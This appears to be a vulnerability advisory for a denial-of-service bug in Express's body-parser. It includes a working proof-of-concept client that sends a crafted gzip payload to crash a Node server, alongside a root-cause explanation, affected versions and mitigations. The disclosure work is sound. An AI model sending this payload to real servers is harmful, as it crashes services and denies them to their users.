CVE-2026-111181: Denial of service in body-parser

CVE-2026-111181 is a denial-of-service vulnerability in the Express body-parser middleware that allows a malicious client to crash a server with a single request. body-parser accepts compressed requests by default, rendering most unpatched versions vulnerable.

How it works

The root cause is that the decompression stream outlives the request parsing: it keeps receiving data after body-parser has already handed off the request.

When inflate is enabled, the contentstream() function that read() calls creates a decompression stream and pipes the incoming request into it:

const stream = createDecompressionStream(encoding, debug);
req.pipe(stream);
return stream;

Once the body is read, body-parser calls next() on the success path while the request remains piped into the decoder, without attaching an error listener to that stream:

  req.body = parse(str, encoding)
} catch (err) {
  next(createError(400, err, {
    body: str,
    type: err.type || 'entity.parse.failed'
  }))
  return
}

next()

As a result, when a request payload contains a valid gzip member followed by a zero byte and additional data, the following sequence unfolds:

• The decoder reaches the end of the valid gzip member and signals completion, but does not close. The raw-body library returns the decoded payload and detaches its event listeners, including the error listener.
• body-parser hands control to the next middleware, allowing the Express app to process the request and send a normal response.
• The trailing bytes continue flowing into the still-open decoder, which emits an error because decompression has already finished.
• Because body-parser never attached its own error listener to the stream, the only handler left is the one pipe() installed, which simply re-emits the error. With no listener to catch it, Node turns it into an uncaught exception and the process crashes.

Triggering the vulnerability

Any server running an impacted version (see Vulnerable versions) of body-parser with request decompression enabled is vulnerable. While the minimal reproduction below uses a raw node:http server with body-parser, a standard Express 4 or 5 application behaves the same way.

import http from 'node:http';
import bodyParser from 'body-parser';

const parse = bodyParser.json();

http
  .createServer((req, res) => parse(req, res, () => res.end('ok\n')))
  .listen(3000, '127.0.0.1', () => console.log('up, pid', process.pid));

The client sends that payload: a valid gzip-compressed {} followed by a zero byte and trailing filler bytes:

import net from 'node:net';
import { gzipSync } from 'node:zlib';

const body = Buffer.concat([
  gzipSync(Buffer.from('{}')), // a valid compressed frame
  Buffer.from([0x00]), // makes gunzip end after the first member
  Buffer.alloc(100 * 1024, 0x58), // reaches the decoder after it finishes
]);

const req = [
  'POST / HTTP/1.1',
  'Host: x',
  'Content-Type: application/json',
  'Content-Encoding: gzip',
  `Content-Length: ${body.length}`,
  '',
  '',
].join('\r\n');

net.connect(3000, '127.0.0.1', function () {
  this.on('data', (d) => process.stdout.write(d));
  this.write(req);
  this.write(body);
});

Impact

A remote client can crash the application with a single request, making it easy to take down an entire load-balanced cluster by spreading a handful of requests across vulnerable nodes. When the parser is mounted globally ahead of authentication, the request does not need to match a valid route or pass an authentication check.

Vulnerable versions

• body-parser 2.0.0 through 2.3.0 (fixed in 2.4.0)
• body-parser 1.20.8 and earlier (fixed in 1.20.9)

Mitigation

Upgrade to body-parser 2.4.0 or later, or 1.20.9 or later.

If the application does not need compressed request bodies, set inflate to false to reject encoded requests before a decompression stream is created:

import bodyParser from 'body-parser';

app.use(bodyParser.json({ inflate: false }));

References

• CVE-2026-111181
• GHSA-27r3-jxmh-p828